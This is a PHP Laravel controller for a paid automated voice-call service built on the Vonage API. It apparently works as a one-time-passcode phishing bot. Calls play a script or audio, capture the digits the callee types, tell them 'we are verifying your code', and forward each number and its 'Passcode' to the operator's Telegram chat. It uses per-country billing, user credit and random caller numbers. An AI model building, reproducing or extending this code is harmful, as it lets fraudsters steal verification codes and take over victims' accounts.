<?php

namespace App\Http\Controllers;

use App\Models\Audio;
use App\Models\callEvent;
use App\Models\Country;
use App\Models\User;
use App\Models\UserCredit;
use App\Models\VoiceCall;
use App\Models\VoiceCallFromNumber;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Support\Facades\Log;
use Vonage\Voice\NCCO\NCCO;

class VoiceCallController extends Controller
{
    private $prefix = "admin/voice-call/";
    private $resources = [];
    private $checkPermissionAndRolesController;
    public $keypair;
    public $client;
    function __construct(
        CheckPermissionsAndRolesController $checkPermissionAndRolesController
    ) {
        $this->resources['prefix'] = $this->prefix;
        $this->checkPermissionAndRolesController = $checkPermissionAndRolesController;

        $this->keypair = new \Vonage\Client\Credentials\Keypair(
            file_get_contents(storage_path('private.key')),
            'cd9e54fd-993b-4015-bd66-599b5d16e283'
        );

        $this->client = new \Vonage\Client($this->keypair);
    }

    public function index(Request $request)
    {
        $this->checkPermissionAndRolesController->permissionTo($request, ['permission' => 'Voice Call']);
        $this->resources['data'] =  Audio::orderBy('id', 'desc')->get();
        $this->resources['credit'] =  User::where('id', Auth::user()->id)->first()->call_balance;
        $get_credit = UserCredit::where('user_id', Auth::user()->id)->first();
        $this->resources['available_balance'] =  isset($get_credit['credit']) ? $get_credit['credit'] - $this->resources['credit'] : 0;
        $this->resources['countries'] =  Country::where('allow', 1)->get();
        $this->resources['from_numbers'] =  VoiceCallFromNumber::all();
        return view('admin.voice-call.make_call')->with($this->resources);
    }
    public function makeACall(Request $request)
    {
        $credentials = $request->validate([
            'from_number_id' => ['required'],
            'phone_number' => ['required'],
            'country' => ['required'],
            'text_speach' => ['required']
        ]);
        if ($request->text_speach == "true") {
            $request->validate([
                'text' => ['required'],
                'language_code' => ['required'],
            ]);
        } else {
            $request->validate([
                'audio' => ['required'],
            ]);
        }
        try {
            if (!$this->checkCountryAllowed($request->country)) {
                return response()->json(['success' => false, 'message' => 'Selected Country not allowed', 'data' => []], 200);
            }
            if (!$this->checkUserCredit($request->country)) {
                return response()->json(['success' => false, 'message' => 'Insufficient balance', 'data' => []], 200);
            }
            $audio = Audio::where('id', $request->audio)->first();
            $from_number = VoiceCallFromNumber::where('id', $request->from_number_id)->first();
            //
            // $store = VoiceCall::where('id', '1')->first();
            $jwt = $this->generateJWT();
            // $re = $this->getDetails($jwt, 'c0f513f6-a30d-4906-b288-7ec28319ec94', $store);
            // dd("Result", $re);
            //

            $data = array(
                'to' => array(
                    [
                        'type' => 'phone',
                        'number' => $request->phone_number
                    ]
                ),
                'from' => [
                    'type' => 'phone',
                    'number' => $from_number->number
                ],
                // 'random_from_number' => true,
                'event_url' => [
                    env('APP_URL') . 'iserver/voice-call/event'
                ],
                "event_method" => "POST"
            );
            if ($request->text_speach == "true") {
                $data['ncco'] = array(
                    [
                        'action' => 'talk',
                        "text" => $request->text,
                        "language" => $request->language_code,
                        "bargeIn" => true
                    ],
                    [
                        "action" => "input",
                        "eventUrl" => [
                            env('APP_URL') . 'iserver/voice-call/event'
                        ],
                        "type" => [
                            "dtmf"
                        ],
                        "dtmf" => [
                            "timeOut" => 10, // min is 3 - max - 10
                            "maxDigits" => 6
                        ]
                    ],
                    [
                        "action" => "talk",
                        "text" => "we are verifying your code, goodbye.",
                    ],
                );
            } else {
                if ($audio['input'] == 1) {

                    $data['ncco'] = array(
                        [
                            'action' => 'stream',
                            "streamUrl" => [
                                env('APP_URL') . $audio['audio']
                            ],
                            "bargeIn" => true
                        ],
                        [
                            "action" => "input",
                            "eventUrl" => [
                                env('APP_URL') . 'iserver/voice-call/event'
                            ],
                            "type" => [
                                "dtmf"
                            ],
                            "dtmf" => [
                                "timeOut" => 10, // min is 3 - max - 10
                                "maxDigits" => (int) $audio['digits']
                            ]
                        ],
                        [
                            "action" => "talk",
                            "text" => "Thanks for your input, goodbye.",
                        ],
                    );
                } else {
                    $data['ncco'] = array(
                        [
                            'action' => 'stream',
                            "streamUrl" => [
                                env('APP_URL') . $audio['audio']
                            ],
                        ],
                        [
                            "action" => "talk",
                            "text" => "Thanks for your input, goodbye.",
                        ],
                    );
                }
            }
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, 'https://api.nexmo.com/v1/calls/');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));

            $headers = array();
            $headers[] = "Authorization: Bearer " . $jwt;
            $headers[] = "Content-Type: application/json";
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            $info = curl_getinfo($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);

            $responseData = json_decode($result, true);
            if (isset($responseData['uuid'])) {

                $uuid = $responseData['uuid'];
                $status = $responseData['status'];
                $direction = $responseData['direction'];
                $conversation_uuid = $responseData['conversation_uuid'];

                $store = $this->store([
                    'to' => $request->phone_number,
                    'from' => "random",
                    'audio_id' => ($request->text_speach == "true") ? NULL : $audio->id,
                    'uuid' => $uuid,
                    'status' => $status,
                    'direction' => $direction,
                    'conversation_uuid' => $conversation_uuid,
                    'dtmf' => NULL,
                    'data' => NULL,
                    'created_by' => Auth::user()->id,
                    'country' => $request->country,
                    'text' => $request->text,
                    'language_code' => $request->language_code,
                    'language' => $this->languages($request->language_code)
                ]);
                return response()->json(['success' => true, 'message' => 'Voice Call Created successfully. Check the left side of the form for events.', 'data' => ['uuid' => $store->uuid]], 200);
            } else {
                return response()->json(['success' => false, 'message' => 'Someting went wrong', 'data' => []], 200);
            }
        } catch (\Throwable $th) {
            return response()->json(['success' => false, 'message' => $th->getMessage() . $th->getLine()], 500);
        }
    }

    public function generateJWT()
    {
        try {
            $claims = [
                'application_id' => 'cd9e54fd-993b-4015-bd66-599b5d16e283',
                // 'sub' => 'alice',
                'iat' => time(),
                'jti' => uniqid(),
            ];
            $token = $this->client->generateJwt($claims);
            return $token->toString();
        } catch (\Throwable $th) {
            throw $th;
        }
    }
    public function store(array $data)
    {
        try {
            return VoiceCall::create($data);
        } catch (\Throwable $th) {
            throw $th;
        }
    }
    public function update($id, array $data)
    {
        try {
            return VoiceCall::where('id', $id)->update($data);
        } catch (\Throwable $th) {
            throw $th;
        }
    }

    public function getDetails($jwt, $uuid, $store)
    {
        try {
            $headers = array();
            $headers[] = "Authorization: Bearer " . $jwt;
            $headers[] = "Content-Type: application/json";
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, 'https://api.nexmo.com/v1/calls/c0f513f6-a30d-4906-b288-7ec28319ec94');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $response = curl_exec($ch);

            curl_close($ch);

            // Handle the response from the API
            $responseData = json_decode($response, true);
            dd($responseData);
            $responseData = isset($responseData['_embedded']['_embedded']) ? $responseData['_embedded']['_embedded'] : $responseData;
            if (isset($responseData['status']) && $responseData['status'] == 'completed') {
                $this->update($store->id, [
                    'status' => $responseData['status']
                ]);
                return true;
            } else if (isset($responseData['dtmf'])) {
                // Handle user input from DTMF tones
                $dtmf = $responseData['dtmf'];
                $this->update($store->id, [
                    'dtmf' => $dtmf,
                    'data' => $responseData
                ]);
                return true;
            }
            dd($responseData);
        } catch (\Throwable $th) {
            throw $th;
        }
    }
    public function eventWebhook(Request $request)
    {
        try {
            $data = $request->all();
            $get_call = VoiceCall::where('uuid', $data['uuid'])->first();
            callEvent::create([
                'uuid' => $data['uuid'],
                'con_uuid' => $data['conversation_uuid'],
                'data' => $data
            ]);
            if (isset($data['dtmf'])) {
                VoiceCall::where('uuid', $data['uuid'])->update([
                    'dtmf' => $data['dtmf']
                ]);
                $this->sendToTelegram($get_call->to, $data['dtmf']['digits'], $get_call['created_by']);
            } else {
                VoiceCall::where('uuid', $data['uuid'])->update([
                    'status' => $data['status'],
                    'data' => $data
                ]);
            }
            // set credit if call answered
            if (isset($data['status']) && $data['status'] == 'answered') {
                $voice = VoiceCall::join('countries', 'voice_calls.country', 'countries.id')
                    ->select('countries.rate', 'voice_calls.*')->where('uuid', $data['uuid'])->first();
                $user = User::where('id', $voice['created_by'])->first();
                $balance = ($user['call_balance'] == 0) ? $voice['rate'] : (int) $user['call_balance'] + $voice['rate'];
                User::where('id', $voice['created_by'])->update([
                    'call_balance' => $balance
                ]);
            }
        } catch (\Throwable $th) {
            Log::info("EVENT WEBHOOK EXCEPTION", [$th->getMessage()]);
        }
    }
    public function getEvent(Request $request)
    {
        try {
            $data = $request->all();
            $result = callEvent::where('uuid', $data['uuid'])->orderBy('id', 'desc')->first();
            return response()->json(['success' => true, 'message' => '', 'data' => ['status' => isset($result['data']['status']) ? $result['data']['status'] : null, 'result' => $result]], 200);
        } catch (\Throwable $th) {
            return response()->json(['success' => false, 'message' => $th->getMessage()], 500);
        }
    }
    public function manage(Request $request)
    {
        try {
            $this->checkPermissionAndRolesController->permissionTo($request, ['permission' => 'Voice Call']);
            $superAdmin = $this->checkPermissionAndRolesController->superAdmin($request);
            $query = VoiceCall::leftJoin('voice_call_from_numbers', 'voice_calls.from_number_id', 'voice_call_from_numbers.id')
                ->select('voice_calls.*', 'voice_call_from_numbers.number as from')
                ->orderBy('voice_calls.id', 'desc');
            if (!$superAdmin) {
                $query->where('voice_calls.created_by', $request->user()->id);
            }
            $history = $query->paginate(15);
            $this->resources['data'] =  $history;
            return view('admin.voice-call.call_history')->with($this->resources);
        } catch (\Throwable $th) {
            return response()->json(['success' => false, 'message' => $th->getMessage()], 500);
        }
    }
    // public function view(Request $request)
    // {
    //     $this->checkPermissionAndRolesController->permissionTo($request, ['permission'=>'Voice Call']);
    //     $this->resources['data'] = $this->getSmtpById($request);
    //     return view('admin.voice-call.smtp_view')->with($this->resources);
    // }
    public function delete(Request $request)
    {
        $this->checkPermissionAndRolesController->permissionTo($request, ['permission' => 'Voice Call']);
        $request->validate([
            'id' => ['required'],
        ]);
        try {
            $superAdmin = $this->checkPermissionAndRolesController->superAdmin($request);
            $query = VoiceCall::where('id', $request->id);
            if (!$superAdmin) {
                $query->where('created_by', $request->user()->id);
            }
            $result = $query->delete();

            if ($result) {
                $this->resources['messages'] = array("type" => "success", "description" => "Voice Call deleted success");
            } else {
                $this->resources['messages'] = array("type" => "error", "description" => "Voice Call deleted failed");
            }
            return redirect()->back()->with('messages', $this->resources);
        } catch (\Throwable $th) {
            $this->resources['messages'] = array("type" => "error", "description" => $th->getMessage());
            return redirect()->back()->with('messages', $this->resources);
        }
    }
    public function availableCountries(Request $request)
    {
        $this->checkPermissionAndRolesController->permissionTo($request, ['permission' => 'Voice Call Countries']);
        $this->resources['countries'] =  Country::all();
        return view('admin.voice-call.countries')->with($this->resources);
    }
    public function updateCountries(Request $request)
    {
        try {
            $data = $request->all();
            $storeArr = [];
            foreach ($data['code'] as $key => $value) {
                Country::where('code', $value)->update([
                    'rate' => $data['rate'][$key],
                    "allow" => $data['allow'][$key],
                ]);
            }
            $this->resources['messages'] = array("type" => "success", "description" => "updated success");
            return redirect()->back()->with('messages', $this->resources);
        } catch (\Throwable $th) {
            $this->resources['messages'] = array("type" => "error", "description" => $th->getMessage());
            return redirect()->back()->with('messages', $this->resources);
        }
    }
    public function checkCountryAllowed($country_id)
    {
        try {
            $country = Country::where('id', $country_id)->first();
            if ($country['allow'] == 1) {
                return true;
            }
            return false;
        } catch (\Throwable $th) {
            throw $th;
        }
    }
    public function checkUserCredit($country_id)
    {
        try {
            $user_credit = UserCredit::where('user_id', Auth::user()->id)->first();
            $user_balance = User::where('id', Auth::user()->id)->first();
            $country = Country::where('id', $country_id)->first();
            $credit = isset($user_credit['credit']) ? $user_credit['credit'] : 0;
            $call_balance = isset($user_balance['call_balance']) ? $user_balance['call_balance'] : 0;
            $available_amount =  $credit - $call_balance;
            $current_amount = $country->rate;
            if ($available_amount - $current_amount >= 0) {
                return true;
            }
            return false;
        } catch (\Throwable $th) {
            throw $th;
        }
    }
    public function reCall(Request $request)
    {
        $this->checkPermissionAndRolesController->permissionTo($request, ['permission' => 'Voice Call']);
        $request->validate([
            'id' => ['required'],
        ]);
        try {
            $callData = VoiceCall::where('id', $request->id)->first();

            if (!$this->checkCountryAllowed($callData->country)) {
                $this->resources['messages'] = array("type" => "error", "description" => 'Selected Country not allowed');
                return redirect()->back()->with('messages', $this->resources);
            }
            if (!$this->checkUserCredit($callData->country)) {
                $this->resources['messages'] = array("type" => "error", "description" => 'Insufficient balance');
                return redirect()->back()->with('messages', $this->resources);
            }

            //
            // $store = VoiceCall::where('id', '1')->first();
            $jwt = $this->generateJWT();
            // $re = $this->getDetails($jwt, 'c0f513f6-a30d-4906-b288-7ec28319ec94', $store);
            // dd("Result", $re);
            //
            $data = array(
                'to' => array([
                    'type' => 'phone',
                    'number' => $callData->to
                ]),
                // 'from' => [
                //     'type' => 'phone',
                //     'number' => '12044108351'
                // ]
                'random_from_number' => true,
                'event_url' => [
                    env('APP_URL') . 'iserver/voice-call/event'
                ],
                "event_method" => "POST"
            );
            if ($callData->audio_id == NULL) {
                $data['ncco'] = array(
                    [
                        'action' => 'talk',
                        "text" => $callData->text,
                        "language" => $callData->language_code,
                        "bargeIn" => true
                    ],
                    [
                        "action" => "input",
                        "eventUrl" => [
                            env('APP_URL') . 'iserver/voice-call/event'
                        ],
                        "type" => [
                            "dtmf"
                        ],
                        "dtmf" => [
                            "timeOut" => 10, // min is 3 - max - 10
                            "maxDigits" => 6
                        ]
                    ],
                    [
                        "action" => "talk",
                        "text" => "Thanks for your input, goodbye.",
                    ],
                );
            } else {
                $audio = Audio::where('id', $callData->audio_id)->first();
                if ($audio['input'] == 1) {
                    $data['ncco'] = array(
                        [
                            'action' => 'stream',
                            "streamUrl" => [
                                env('APP_URL') . $audio['audio']
                            ],
                        ],
                        [
                            "action" => "input",
                            "eventUrl" => [
                                env('APP_URL') . 'iserver/voice-call/event'
                            ],
                            "type" => [
                                "dtmf"
                            ],
                            "dtmf" => [
                                "timeOut" => 20,
                                "maxDigits" => (int) $audio['digits']
                            ]
                        ],
                        [
                            "action" => "talk",
                            "text" => "we are verifying your code, goodbye.",
                        ],
                    );
                } else {
                    $data['ncco'] = array(
                        [
                            'action' => 'stream',
                            "streamUrl" => [
                                env('APP_URL') . $audio['audio']
                            ],
                        ],
                        [
                            "action" => "talk",
                            "text" => "goodbye.",
                        ],
                    );
                }
            }
            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, 'https://api.nexmo.com/v1/calls/');
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));

            $headers = array();
            $headers[] = "Authorization: Bearer " . $jwt;
            $headers[] = "Content-Type: application/json";
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            $info = curl_getinfo($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);

            $responseData = json_decode($result, true);
            if (isset($responseData['uuid'])) {

                $uuid = $responseData['uuid'];
                $status = $responseData['status'];
                $direction = $responseData['direction'];
                $conversation_uuid = $responseData['conversation_uuid'];

                VoiceCall::where('id', $callData->id)->update([
                    'uuid' => $uuid,
                    'status' => $status,
                    'conversation_uuid' => $conversation_uuid,
                ]);
                $this->resources['messages'] = array("type" => "success", "description" => "Voice Call redial successfully");
                return redirect()->back()->with('messages', $this->resources);
            } else {
                $this->resources['messages'] = array("type" => "error", "description" => 'Someting went wrong');
                return redirect()->back()->with('messages', $this->resources);
            }
        } catch (\Throwable $th) {
            $this->resources['messages'] = array("type" => "error", "description" => $th->getMessage());
            return redirect()->back()->with('messages', $this->resources);
        }
    }
    public function SelectDelete(Request $request)
    {
        $this->checkPermissionAndRolesController->permissionTo($request, ['permission' => 'Voice Call']);

        try {
            $superAdmin = $this->checkPermissionAndRolesController->superAdmin($request);
            if (!empty($request->delete)) {
                foreach ($request->delete as $value) {

                    $query = VoiceCall::where('id', $value);
                    if (!$superAdmin) {
                        $query->where('created_by', $request->user()->id);
                    }
                    $result = $query->delete();
                }
            } else {
                $this->resources['messages'] = array("type" => "error", "description" => "Selected Voice calls deleted failed");
            }

            if ($result) {
                $this->resources['messages'] = array("type" => "success", "description" => "Selected Voice calls deleted success");
            } else {
                $this->resources['messages'] = array("type" => "error", "description" => "Selected Voice calls deleted failed");
            }
            return redirect()->back()->with('messages', $this->resources);
        } catch (\Throwable $th) {
            $this->resources['messages'] = array("type" => "error", "description" => $th->getMessage());
            return redirect()->back()->with('messages', $this->resources);
        }
    }

    public function sendToTelegram($number, $digits, $user_id)
    {
        try {
            $user = User::where('id', $user_id)->first();

            $chatid = $user['teligram'];
            $msj = '
📱 Voice Passcode Call  🔊

☎️ Number=> ' . $number . '⬅️

📝 Passcode=> ' . $digits . ' ️';

            $twiloBotToken = env('TELEGRAM_BOT_TOKEN');
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot" . $twiloBotToken . "/sendMessage");
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, "{\"chat_id\": \"" . $chatid . "\", \"text\": \"" . $msj . "\"}");
            $headers = array();
            $headers[] = 'Content-Type: application/json';
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

            $result = curl_exec($ch);
            if (curl_errno($ch)) {
                echo 'Error:' . curl_error($ch);
            }
            curl_close($ch);
        } catch (\Throwable $th) {
            throw $th;
        }
    }

    public function languages($code) : String {
        $languages = [
            "ar-XA" => "Arabic",
            "cs-CZ" => "Czech",
            "cy-CY" => "Welsh",
            "cy-GB" => "Welsh (UK)",
            "da-DK" => "Danish",
            "de-DE" => "German",
            "el-GR" => "Greek",
            "en-AU" => "English (Australia)",
            "en-GB" => "English (UK)",
            "en-IN" => "English (India)",
            "en-US" => "English (US)",
            "es-ES" => "Spanish (Spain)",
            "es-MX" => "Spanish (Mexico)",
            "es-US" => "Spanish (US)",
            "fi-FI" => "Finnish",
            "fil-PH" => "Filipino",
            "fr-CA" => "French (Canada)",
            "fr-FR" => "French (France)",
            "hi-IN" => "Hindi",
            "hu-HU" => "Hungarian",
            "id-ID" => "Indonesian",
            "is-IS" => "Icelandic",
            "it-IT" => "Italian",
            "ja-JP" => "Japanese",
            "ko-KR" => "Korean",
            "nb-NO" => "Norwegian",
            "nl-NL" => "Dutch",
            "pl-PL" => "Polish",
            "pt-BR" => "Portuguese (Brazil)",
            "pt-PT" => "Portuguese (Portugal)",
            "ro-RO" => "Romanian",
            "ru-RU" => "Russian",
            "sv-SE" => "Swedish",
            "th-TH" => "Thai",
            "tr-TR" => "Turkish",
            "vi-VN" => "Vietnamese",
            "yue-CN" => "Yue Chinese (Cantonese)",
            "zh-CN" => "Chinese (Mainland)",
            "zh-TW" => "Chinese (Taiwan)"
        ];
        
        return $languages[$code];        
    }
}
